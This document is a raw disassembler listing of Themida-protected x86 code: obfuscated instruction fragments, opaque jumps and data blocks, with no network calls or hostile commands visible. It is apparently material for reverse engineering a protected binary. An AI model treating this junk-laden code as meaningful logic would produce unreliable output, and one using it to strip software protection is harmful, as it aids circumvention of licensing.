		dd 7DF8E681h, 0BD550096h, 276D3AABh, 40D0E9h, 78706800h
		dd 0C890000h, 15BD5524h, 0C1320112h, 0FBE903E5h, 5000006Eh
		dd 1327BB53h, 50567009h, 0D8CE9h, 2434FF00h, 0E2895258h
		dd 4C281h, 0B9510000h, 2F1A13FFh, 64F0E181h, 9E90791h
		dd 31000059h, 2C33242Ch, 0FC75E924h
		db 2 dup(0FFh)
word_539AC2	dw 8B66h		; DATA XREF: Themida_:0053528Co
		dd 8950240Ch, 4294E9E0h
		db 2 dup(0)
word_539ACE	dw 8B66h		; DATA XREF: Themida_:00535230o
		dd 0C668240Ch, 0E900007Fh, 0FFFFCDDEh, 5C240C87h, 1FA9E9h
		db 0
; ---------------------------------------------------------------------------

loc_539AE5:				; CODE XREF: Themida_:00536312j
		push	esp
		pop	eax
		jmp	loc_53E7BF
; ---------------------------------------------------------------------------
		dd 8124248Bh, 4C2h, 4C28100h, 0E9000000h, 0FFFFC49Ch
; ---------------------------------------------------------------------------

loc_539B00:				; CODE XREF: Themida_:0053E4A9j
		add	esp, 4
		jmp	loc_53F808
; ---------------------------------------------------------------------------
		dd 71BCBE56h, 0F02955B4h, 90E9595Eh, 83FFFFF8h,	0F0E904C4h
		dd 89000041h, 90E952E0h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_539B27:				; CODE XREF: Themida_:0053B101j
		mov	esi, edi
		jmp	loc_5376CA
; ---------------------------------------------------------------------------
		dw 8F58h
		dd 248B2404h, 0A30F6624h, 0E99C2404h, 0FFFFB823h, 0BAE9D729h
		dd 5BFFFFFAh, 0FFB816E9h, 4C483FFh, 0FFD68CE9h,	815758FFh
		dd 4ECh, 243C8900h, 0C781E789h,	4, 4BA52h, 0D9E90000h
		dd 8100002Eh, 775E7DEFh, 81DFF70Ch, 7C9563C7h, 5FFE0193h
		dd 2474FF56h, 24348B04h, 8F04C483h, 248B2404h, 0AB0F6624h
		dd 0E99C2404h, 0FFFFB7C3h, 4C181h, 0C1830000h, 0EF37E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539BAE:				; CODE XREF: Themida_:005366B0j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_538DFB
; ---------------------------------------------------------------------------

loc_539BC0:				; CODE XREF: Themida_:0053F938j
		pop	ebp
		jmp	loc_53EFCB
; ---------------------------------------------------------------------------
		dw 335Ah
		dd 0C31240Ch, 240C3324h, 0FFBE32E9h, 53DFF7FFh,	9E1E68BBh
		dd 82F3816Fh, 3126E74Fh, 0E1E95BDFh, 66FFFFD3h,	6866F1F7h
		dd 896672BBh, 50662414h, 0B765E99Ch, 0BE56FFFFh, 523037E1h
		dd 515EF029h, 855EE5B9h, 131D6832h, 3C890000h, 47CEE924h
		dd 0C1830000h, 0DA31E904h, 0E6C1FFFFh, 5E6C107h, 104B951h
		dd 0F1812F1Eh, 252A33F2h, 8102E9C1h, 8D0CBCE9h,	59CE0102h
		dd 0C005F681h, 1FE9066Bh, 5E00005Dh, 4C481h, 0BF570000h
		dd 5C5836CBh, 62E8B951h, 0E9410E2Fh, 0FFFFC0DDh
; ---------------------------------------------------------------------------

loc_539C64:				; CODE XREF: Themida_:0053B8C7j
		push	0B5h
		mov	[esp], ebp
		jmp	loc_53D19C
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 1
		dd 56115640h, 0CE7A95BEh, 5EF73180h, 8904EC83h,	0FEBA2414h
		dd 0F763EE4Fh, 5EAC1D2h, 0C281D2F7h, 1,	3538E9h
		db 0
; ---------------------------------------------------------------------------

loc_539C9D:				; CODE XREF: Themida_:00539F1Bj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_53DADA
; ---------------------------------------------------------------------------
dword_539CA8	dd 240C8B66h, 56E78957h, 4BEh, 5EF70100h, 29FA6853h, 71E91670h
					; DATA XREF: Themida_:005351D4o
		dd 5100001Dh, 0C1815954h, 4, 4E981h, 5E90000h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539CD7:				; CODE XREF: Themida_:00535ABDj
		push	2444h
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5353C5
; ---------------------------------------------------------------------------

loc_539CF7:				; CODE XREF: Themida_:00536353j
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dw 64E9h
		dd 81FFFFB6h, 0CF0408EEh, 0ABC68113h, 5D6FAF1Bh, 0F6CCE956h
		db 2 dup(0FFh)
word_539D12	dw 34FFh		; DATA XREF: Themida_:005351E0o
		dd 21E95824h, 2C000017h, 0DD2C67h, 0D7FEE9F8h, 0E7C1FFFFh
		dd 3EFC103h, 3DFEF81h, 0D7F74706h, 0F781E7D1h, 2BAFF108h
		dd 616CEF81h, 0C181478Ah, 73500F22h, 0E981F901h, 73500F22h
		dd 240C875Fh, 0FFEC81E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_539D59:				; CODE XREF: Themida_:00538EF5j
		add	ebp, eax
		pop	eax
		jmp	loc_538B91
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 2Bh
		dd 29714DCBh, 0C40558C2h, 2D2F022Dh, 26F45672h,	7205D029h
		dd 2D26F456h, 2F022DC4h, 0FFF66DE9h, 1F281FFh, 8124F760h
		dd 71071CEAh, 4D4D680Fh, 3C890000h, 1F79BF24h, 75E952BDh
		dd 6600006Ah, 0C3B25259h, 0FFE33EE9h, 58C589FFh, 215DEE89h
		dd 348B1C77h, 4C48124h,	0E9000000h, 0FFFFFC0Fh,	6E3AE181h
		dd 0E9C14E48h, 81D1F707h, 7D7065E9h, 0EF1815Ch,	0E9B099A8h
		dd 4B6Ah
; ---------------------------------------------------------------------------

loc_539DE0:				; CODE XREF: Themida_:0053D849j
		mov	ebp, 50D952BFh
		jmp	loc_535CDA
; ---------------------------------------------------------------------------
word_539DEA	dw 79BBh		; DATA XREF: Themida_:00535264o
		dd 68251837h, 723Bh, 0BE243489h, 78024654h, 16BACE81h
		dd 0EE8331DCh, 52BA52FFh, 4251FA09h, 18CA8142h,	4A3B0901h
		dd 0B9A2EA81h, 0D6314675h, 5EF3315Ah, 2414F753h, 6E3C15Bh
		dd 0FFEAFEE9h, 0E0EB80FFh, 0FCB68h, 0C890E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539E3A:				; CODE XREF: Themida_:0053A0B2j
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_538227
; ---------------------------------------------------------------------------

loc_539E44:				; CODE XREF: Themida_:0053EF0Dj
		mov	edi, esp
		add	edi, 4
		jmp	loc_53BC62
; ---------------------------------------------------------------------------
		db 88h,	0F8h, 88h
		dd 1C8B58C2h, 4C48324h,	8002EA80h, 0D1283FF2h, 0E924148Bh
		dd 0FFFFE24Bh, 8864B151h, 0F3B159C8h, 4C180h, 4E980C1h
		dd 0FFCAB5E9h, 80C6FEFFh, 3DE927C6h, 5900003Ah,	4C481h
		dd 0D2310000h, 1F51E9h,	4EC8300h, 0FF240489h, 0E9042474h
		dd 0FFFFFC86h, 243C895Ch, 4BFh,	0DE98100h, 0E96AA305h
		dd 0FFFFEC44h, 42D5Ah, 4870000h, 24248B24h, 0B9240C89h
		dd 5D407150h, 68B6E9h, 24148B00h, 8B04C483h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_535D5A
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FFC3D0E9h, 48F59FFh, 24248B24h, 0E902C183h, 75F3h
		dd 0B7A7B450h, 201FE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539F0A:				; CODE XREF: Themida_:0053FDA0j
		mov	edx, eax
		pop	eax
		sub	ecx, 5190510Ah
		add	ecx, edx
		add	ecx, 5190510Ah
		jmp	loc_539C9D
; ---------------------------------------------------------------------------

loc_539F20:				; CODE XREF: Themida_:00537805j
		add	esp, 4
		or	eax, eax
		jz	loc_5384DF
		push	dword ptr [edi+1Ch]
		jmp	loc_540BCC
; ---------------------------------------------------------------------------
		db 68h
		dd 1B45h, 0BB241C89h, 3BBF3FDDh, 0F706E3C1h, 0A4BD55DBh
		dd 811EC949h, 4B37E2E5h, 0F7CD8700h, 45CD87D1h,	0EF8CC581h
		dd 0EB290CDBh, 0FFE46DE9h, 0B75B59FFh, 8BC728C1h, 0C4832404h
		dd 527E0404h, 0DEF699B6h, 80B7EE80h, 26E925EEh,	8900006Ch
		dd 0F6BFE9FDh, 0B850FFFFh, 4, 8758C101h, 0B6E9240Ch
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_539F9B:				; CODE XREF: Themida_:0053BBC0j
		not	eax
		xor	eax, 0BB14EEDAh
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_536A31
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Dh,	0E924248Bh, 5BEDh, 70A6BF57h, 0F7815ABBh
		dd 41E26064h, 2449E9h
		db 0
; ---------------------------------------------------------------------------

loc_539FD1:				; CODE XREF: Themida_:0053FE69j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 24h
		sub	eax, 3AC1165Ah
		sub	eax, 621F24BDh
		add	eax, edi
		add	eax, 621F24BDh
		add	eax, 3AC1165Ah
		add	[eax], ecx
		jmp	loc_53A141
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 4
		dd 58E99C24h, 89FFFFB3h, 0E80AE9EFh, 4BAFFFFh, 81000000h
		dd 387A74C7h, 81D7017Fh, 387A74EFh, 46D7E97Fh, 4BE0000h
		dd 1000000h, 24348BF0h,	81E78957h, 4C7h, 4C78100h, 87000000h
		dd 248B243Ch, 24043324h, 0E9240431h, 4E61h, 1835E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53A05A:				; CODE XREF: Themida_:005392B5j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_535363
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 0FFC739E9h, 243489FFh, 4BEh,	4EC8100h, 89000000h, 0F1E92434h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53A087:				; CODE XREF: Themida_:00536A35j
		push	434C7E5Eh
		jmp	loc_53F722
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 90h
		dd 81539B79h, 314295E3h, 84F3810Ch, 0E9001040h,	0FFFFBB00h
; ---------------------------------------------------------------------------

loc_53A0A8:				; CODE XREF: Themida_:005403DAj
		mov	ebp, 0E6045C29h
		add	edx, ebp
		pop	ebp
		xor	ecx, edx
		jmp	loc_539E3A
; ---------------------------------------------------------------------------
		db 55h
		dd 4D067ABDh, 71F58172h, 2968A236h, 242C8BEFh, 0E904C483h
		dd 2DD7h, 4C781h, 0BD550000h, 4, 0E95DEF29h, 305Ah
; ---------------------------------------------------------------------------

loc_53A0E4:				; CODE XREF: Themida_:0053667Cj
		pop	edx
		xor	eax, 44824264h
		push	edi
		mov	edi, 64F204FAh
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		xor	edi, 14F70AEDh
		jmp	loc_53D2CE
; ---------------------------------------------------------------------------
		db 5Bh,	8Fh, 4
		dd 24248B24h, 0E9C8B70Fh, 68FFh
dword_53A110	dd 0FF2434FFh, 57582434h, 16E9E789h, 89000037h,	4FF240Ch
					; DATA XREF: Themida_:005350E4o
		dd 240C8B24h, 0E7AEE951h, 65BBFFFFh, 8176F36Bh,	381A18C3h
		dd 5EBC11Bh, 0FFF87DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53A141:				; CODE XREF: Themida_:00539FFCj
		pop	eax
		pop	ecx

loc_53A143:				; CODE XREF: Themida_:0053CCB5j
		push	ebx
		push	ebx
		jmp	loc_536D56
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 253A2884h, 3FBE9h, 0E9D0F700h, 5791h
; ---------------------------------------------------------------------------

loc_53A15C:				; CODE XREF: Themida_:0053913Fj
		add	esp, 4
		sub	bl, ch
		mov	cx, [esp]
		add	esp, 2
		add	bl, al
		push	ax
		mov	ah, 7Dh
		add	bl, ah
		mov	ax, [esp]
		add	esp, 2
		add	bl, 0E4h
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_535363
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 689FC281h, 0C2813A53h, 134C397Bh, 582434FFh,	4C481h
		dd 0C2810000h, 4, 31241433h, 14332414h,	68535C24h, 6994h
		dd 55242489h, 4BDh, 246C0100h, 685B5D04h, 7985h, 1A4E9h
		dd 5BD98800h, 0FFE4A2E9h, 0B181E9FFh
		db 2 dup(0FFh)
word_53A1E2	dw 34FFh		; DATA XREF: Themida_:005351BCo
		dd 0E9535A24h, 1863h
; ---------------------------------------------------------------------------

loc_53A1EC:				; CODE XREF: Themida_:005360E9j
		sub	dl, 0D8h
		jmp	loc_53AFA3
; ---------------------------------------------------------------------------
		dd 231A8EBAh, 5DD3E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53A1FE:				; CODE XREF: Themida_:0053F107j
		add	eax, 20267A1Fh
		jmp	loc_5412F7
; ---------------------------------------------------------------------------
		dd 662CD828h, 110DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53A212:				; CODE XREF: Themida_:00537A54j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_53AFC9
; ---------------------------------------------------------------------------
		dw 0C72Dh
		dd 0E92F3716h, 0FFFFE9A7h, 21E5815Ah, 81128A6Eh, 55C788C5h
		dd 5224E94Bh, 5E520000h, 8BF2895Ah, 89522434h, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 0BB5E9h,	240C8900h, 12377BB9h
		dd 59CA893Ch, 0F1E918B9h, 5AD101F9h, 69D0E956h,	27B80000h
		dd 29AA3B17h, 0EE8958C5h, 0FFF0015Dh, 835E2434h, 0E95604C4h
		dd 736Dh, 0E9D2F742h, 3B78h
; ---------------------------------------------------------------------------

loc_53A290:				; CODE XREF: Themida_:00537A7Fj
		push	ax
		jmp	loc_53C39D
; ---------------------------------------------------------------------------

loc_53A297:				; CODE XREF: Themida_:00535985j
		xor	[esp+4], eax
		pop	eax
		jmp	loc_53CCC3
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
aHep		db '$h¥P',0
		align 2
		dw 0C89h
		dd 0B2686624h, 1C89660Bh, 507FB724h, 0FFC42AE9h, 776851FFh
		dd 89000062h, 4832424h,	81590424h, 4C1h, 4BA5200h, 1000000h
		dd 24148BD1h, 0E904C483h, 71FEh, 84E9E801h, 81000072h
		dd 0B82FC0F6h, 0E51FE91Ch, 8193FFFFh, 3BEEFFC3h, 8BDA01DFh
		dd 0C481241Ch, 4, 2474FF52h, 48F5A04h, 0E099E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A316:				; CODE XREF: Themida_:0053BA72j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_53C0F6
; ---------------------------------------------------------------------------
		dd 0B6BEE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A32A:				; CODE XREF: Themida_:0053FA89j
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 2
		push	23BAh
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		jmp	loc_536A3A
; ---------------------------------------------------------------------------
		dd 0C119EA81h, 0D6290CA4h, 8124148Bh, 4C4h, 75746800h
		dd 2C890000h, 53685724h, 5F64A607h, 0EF81DFF7h,	5EC6212h
		dd 0F781DFF7h, 7B47602Ah, 0FFFC0AE9h, 243489FFh, 0FFF6DEE9h
		dd 242C89FFh, 0BEE9E589h, 58000038h, 0EB81FB01h, 7F1608F8h
		dd 2DEFC381h, 3034A89h,	5B2434FFh, 122E9h, 5FECBB00h, 0E0E921E5h
		dd 66FFFFC8h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	ecx
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_53D6F7
; ---------------------------------------------------------------------------
		dw 0EA88h
		dd 148BD388h, 4C48124h,	59000000h, 8B66D820h, 0D7E9241Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_53A3EB:				; CODE XREF: Themida_:0053CBABj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_53B89A
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0FEB924h, 4F210000h,	2434FF1Ch, 0E9240C8Bh, 0FFFFD683h
		dd 0D508B405h, 8BC22930h, 0C4812404h, 4, 99E9D001h, 57FFFFFAh
		dd 4BFh, 0D57E900h
		db 2 dup(0)
word_53A42E	dw 8B66h		; DATA XREF: Themida_:00535298o
		dd 0EC81240Ch, 4, 89241489h, 0E0B850E2h, 0D125F636h, 4E0C1E0h
		dd 0C6DBFC2Dh, 99C281BEh, 156C778h, 99EA81C2h, 5856C778h
		dd 0E904EC83h, 697Bh, 42474FFh,	24048F5Dh, 6624248Bh, 0E9240489h
		dd 0FFFFAEEBh, 38B26866h, 240C8966h, 0FFB0D9E9h, 3C335BFFh
		dd 243C3124h, 5C243C33h, 4EC81h, 0C890000h, 5D92B924h
		dd 0C1817C99h, 8C4EC5E2h, 0FFEB9AE9h, 0BA5251FFh, 7C9A754Ah
		dd 0B11A2868h, 0B260E90Ch, 8758FFFFh, 248B243Ch, 0C9E95624h
		dd 8300001Ch, 86E904C4h, 81FFFFEFh, 4ECh, 242C8900h, 0C581E589h
		dd 4, 4BB53h, 0DD290000h, 242C875Bh, 0D1BEE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A4F2:				; CODE XREF: Themida_:00538415j
		add	esp, 4
		jmp	loc_536376
; ---------------------------------------------------------------------------

loc_53A4FD:				; CODE XREF: Themida_:0053B755j
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_53FA16
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 778AC281h, 0EA814E47h, 11BA520Ch, 0E6E9FA29h, 6800000Ah
		dd 1549h, 68241489h, 3FC23743h,	15F7E9h, 81E58900h, 4C5h
		dd 2BA5200h, 0E9000000h, 6E30h,	0E924048Bh, 2E31h, 0CC2DEB81h
		dd 0D8012012h, 8B2434FFh, 0EC81241Ch, 4, 0E9241489h, 0FFFFE476h
		db 61h,	0C3h
word_53A56E	dw 34FFh		; DATA XREF: Themida_:00535080o
		dd 240C8B24h, 4C481h, 54530000h, 83241C8Bh, 0BD5504C4h
		dd 4EA93FF3h, 8102EDC1h, 0AA4FF8F5h, 0D9C38113h, 0E947D76Ah
		dd 2764h
; ---------------------------------------------------------------------------

loc_53A59C:				; CODE XREF: Themida_:00537353j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_53FE2F
; ---------------------------------------------------------------------------
		dd 5B188859h, 0FFD5A7E9h, 4EC81FFh, 0E9000000h,	27D4h
		dd 0BF575854h, 6B97108Dh, 8102E7C1h, 94650AF7h,	6959E979h
		dd 0DFF70000h, 8D35C781h, 0FD01EB48h, 2C5835Fh,	8B242C87h
		dd 0F662424h, 5166C8AFh, 0AD71E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A5F2:				; CODE XREF: Themida_:005399D9j
		push	ebx
		mov	ebx, 1
		and	eax, ebx
		jmp	loc_53EF05
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BA5204EDh, 556A270Ch, 5757F281h, 0EAC1652Dh, 0F2814A04h
		dd 360602Fh, 3D7EA81h, 0D501C976h, 50C5815Ah, 0E939E33Fh
		dd 3D14h, 0CBBD5543h, 810B6371h, 0F26AC1CDh, 4786E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53A63E:				; CODE XREF: Themida_:0053C499j
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_53C8CA
; ---------------------------------------------------------------------------
		dd 6624248Bh, 6866E9F7h, 89663582h, 50662414h, 0AD05E99Ch
		dd 0BE56FFFFh, 4, 140BB52Dh, 0E9F00161h, 0B5Fh
; ---------------------------------------------------------------------------

loc_53A670:				; CODE XREF: Themida_:0053C2B2j
		add	esp, 4
		push	ecx
		mov	ecx, 5AC2BA8h
		or	ecx, 41ED68EAh
		jmp	loc_536A65
; ---------------------------------------------------------------------------

loc_53A687:				; CODE XREF: Themida_:0053D573j
		xor	ebx, 388432F0h
		xor	ebx, 3F7C32C6h
		add	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		jmp	loc_54100C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 7073E9h, 244C0100h, 815B5904h, 4C3h,	4C38100h, 33000000h
		dd 1C31241Ch, 241C3324h, 0E924248Bh, 0FFFFAC97h, 2424895Ch
		dd 4319E9h, 815F5400h, 4C7h, 4EF8300h, 31243C33h, 3C33243Ch
		dd 24248B24h, 4B16E9h, 24048F00h, 0D224248Bh, 0E99C243Ch
		dd 2D74h
dword_53A700	dd 9C241CF7h, 0FFAC5AE9h ; DATA	XREF: Themida_:005351A8o
		db 0FFh
; ---------------------------------------------------------------------------

loc_53A709:				; CODE XREF: Themida_:0053E945j
		pop	esp
		add	esp, 4

loc_53A70D:				; CODE XREF: Themida_:0053E178j
					; Themida_:loc_53FB18j
		mov	ebx, [esp]
		jmp	loc_53661E
; ---------------------------------------------------------------------------
		dd offset dword_4E384C+61Ch
		align 2
		dw 0C89h
		dd 7CBB5324h, 0C12A5F7Bh, 0CB8102E3h, 239E2EB9h, 0FFB9C7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53A731:				; CODE XREF: Themida_:0053AD72j
		pop	eax
		add	edi, 4
		jmp	loc_53727B
; ---------------------------------------------------------------------------
		db 50h,	88h, 0D4h
		dd 0E958E788h, 0FFFFF78Dh, 0C781DFF7h, 18A32777h, 1178EF81h
		dd 0DCE92AC2h
		db 1Ch,	2 dup(0)
byte_53A75B	db 64h			; DATA XREF: Themida_:005352DCo
		dd 66028B66h, 662D0B68h, 0E9240489h, 0FFFFABF7h
; ---------------------------------------------------------------------------

loc_53A76C:				; CODE XREF: Themida_:0053CB45j
		mov	edx, 706701ECh
		xor	ecx, edx
		jmp	loc_536812
; ---------------------------------------------------------------------------
		dd 0B951E789h, 5D161E14h, 1966E181h, 13E9310Bh,	68FFFFE3h
		dd 2A6Fh, 24048F54h, 4BA52h, 0D5E90000h, 0F7000060h, 0E9D6F7D6h
		dd 2C4Ah, 73C1815Dh, 29723A83h,	0E207E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A7B6:				; CODE XREF: Themida_:00538B31j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_53D18B
; ---------------------------------------------------------------------------

loc_53A7C4:				; CODE XREF: Themida_:0053E8AEj
		xor	dword ptr [esp], 206B490Ah
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 619648A3h
		sub	edx, 35BC63EBh
		jmp	loc_53CBB0
; ---------------------------------------------------------------------------
byte_53A7E5	db 8Bh,	4, 24h		; DATA XREF: Themida_:005351C4o
		dd 6897E9h, 48B5400h, 4C48324h,	405h, 0FE60E900h, 0C581FFFFh
		dd 76FB35ACh, 0E5D1DDF7h, 2FBC581h, 0EF012780h,	0FFFB895Dh
		dd 815F2434h, 4C4h, 52565000h, 0FFACB6E9h, 2277B8FFh, 6AE92971h
		dd 5F00005Bh, 5D2434FFh, 8104C483h, 0D96BA1C5h,	429E686Fh
		dd 2C890000h, 24048124h, 1B031863h, 0FFD011E9h,	243C89FFh
		dd 486FC468h, 243C8B76h, 0FFFCACE9h, 0D80059FFh, 53241C8Bh
		dd 48C7E9h, 4BD0B800h, 0BE563229h, 27F24A47h, 62F6EE81h
		dd 0DEF70FDAh, 9B85C681h, 0F001E5EEh, 3B91E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53A88E:				; CODE XREF: Themida_:0053F7F5j
		pop	esp
		mov	[esp], ebx
		jmp	loc_53CA20
; ---------------------------------------------------------------------------
		db 58h
		dd 0C8BEF88h, 4C48124h,	0E9000000h, 0FFFFEDCDh,	2F4DBD55h
		dd 0EDD17CE6h, 1FECED81h, 0ED810CCAh, 75777A66h, 7D50F581h
		dd 0EB01430Dh, 17CAE9h,	0B0BE5600h, 8155C558h, 0A647D3C6h
		dd 3E6C100h, 0A77BEE81h, 0F3315AC9h, 245C295Eh,	0BD555B04h
		dd 463C340Dh, 3B42E9h
		db 0
byte_53A8F1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00535118o
		dd 4EC8324h, 3C3BE9h, 0BED8100h, 0E9280161h, 179h, 3AD3C781h
		dd 875B5766h, 248B243Ch, 0C8B6624h, 8AE95124h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A91F:				; CODE XREF: Themida_:0053809Cj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 693B4842h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 693B4842h
		mov	eax, edx
		jmp	loc_53E27F
; ---------------------------------------------------------------------------
		db 0BAh, 35h, 14h
		dd 7EE95CC4h, 66FFFFD9h, 6624048Fh, 66020D68h, 66242C89h
		dd 0E90002BDh, 679Bh, 8324148Bh, 535504C4h, 5C5493BBh
		dd 52D3F71Fh, 3B6712BAh, 0E9D3296Ch, 38DBh
; ---------------------------------------------------------------------------

loc_53A980:				; CODE XREF: Themida_:0053AF7Fj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_53E61E
; ---------------------------------------------------------------------------
word_53A996	dw 8B66h		; DATA XREF: Themida_:005351D0o
		dd 77E9240Ch, 66000002h, 6866F9F7h, 89665401h, 50662414h
		dd 0A9B1E99Ch, 489FFFFh, 55585424h, 5B0576BDh, 522FE954h
		dd 0C4810000h, 2, 0FFFB02E9h, 242C8BFFh, 8104C483h, 6BCD2404h
		dd 4014971h, 0CDB85024h, 2949716Bh, 0E9042444h,	0FFFFBCD0h
		dd 1EF4BA52h, 0D0015BD6h, 57E8295Ah, 293AB4BFh,	40C78105h
		dd 2956ACE4h, 0E95D5FF8h, 0FFFFD1CFh, 2C0835Ch,	4750E9h
		dd 15C38000h, 8124148Bh, 4C4h, 80C30000h, 0B60F1AC3h, 48F66C0h
		dd 0A931E987h, 3489FFFFh, 673AE924h
		db 2 dup(0)
word_53AA3A	dw 0EC83h		; DATA XREF: Themida_:005350E8o
		dd 0F9B4E904h, 8151FFFFh, 513A2404h, 815D49F3h,	0F3513AEDh
		dd 240C8B49h, 4C481h, 0EB010000h, 4C3835Dh, 2474FF53h
		dd 2434FF04h, 0FFC42EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53AA6D:				; CODE XREF: Themida_:00536712j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 7E6F41DBh
		jmp	loc_53EC8C
; ---------------------------------------------------------------------------
aBQolEbPiQSib	db 'ÅqOl',0Bh,'EÅ#·p‰)ï]éib',0
		align 2
		dw 0C8Bh
		dd 4C48124h, 81000000h,	4C1h, 4C18300h,	31240C33h, 0C33240Ch
		dd 24248B24h, 2FD5E955h, 34330000h, 0CD35C24h, 9CE99C24h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AAC7:				; CODE XREF: Themida_:005353C0j
		sub	edi, 2B0F140Ah
		add	edi, 0FA511F6Dh
		sub	ebx, edi
		jmp	loc_53759D
; ---------------------------------------------------------------------------

loc_53AADA:				; CODE XREF: Themida_:00539800j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 0E9h, 8Ah, 0FAh
		dd 815DFFFFh, 4C4h, 2552E900h, 0D8280000h, 192C232Ch, 8951D72Ch
		dd 0E95650E1h, 3F22h, 0E9D8F748h, 22BCh, 8904EC83h, 0B8502424h
		dd 4, 4244401h,	0E50EE958h, 0E956FFFFh,	0FFFFE3D6h
; ---------------------------------------------------------------------------

loc_53AB24:				; CODE XREF: Themida_:0053DA73j
		add	esp, 4

loc_53AB2A:				; CODE XREF: Themida_:loc_53E754j
					; Themida_:00541015j
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 706701ECh
		xor	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_53CB44
; ---------------------------------------------------------------------------
byte_53AB6F	db 0FFh			; DATA XREF: Themida_:00535310o
		dd 67E92434h, 53FFFFCCh, 221E62BBh, 0C4E9E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AB82:				; CODE XREF: Themida_:0053DBB8j
		push	24D2h
		mov	[esp], ebp
		push	7FF7B354h
		push	dword ptr [esp]
		jmp	loc_535FBD
; ---------------------------------------------------------------------------
		db 0F7h
aZikcqsX	db 'Õ‡ëKCQé¿X',0
		dw 5500h
		dd 17F5ABDh, 3E5C11Eh, 2AE3C581h, 0ECE95147h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

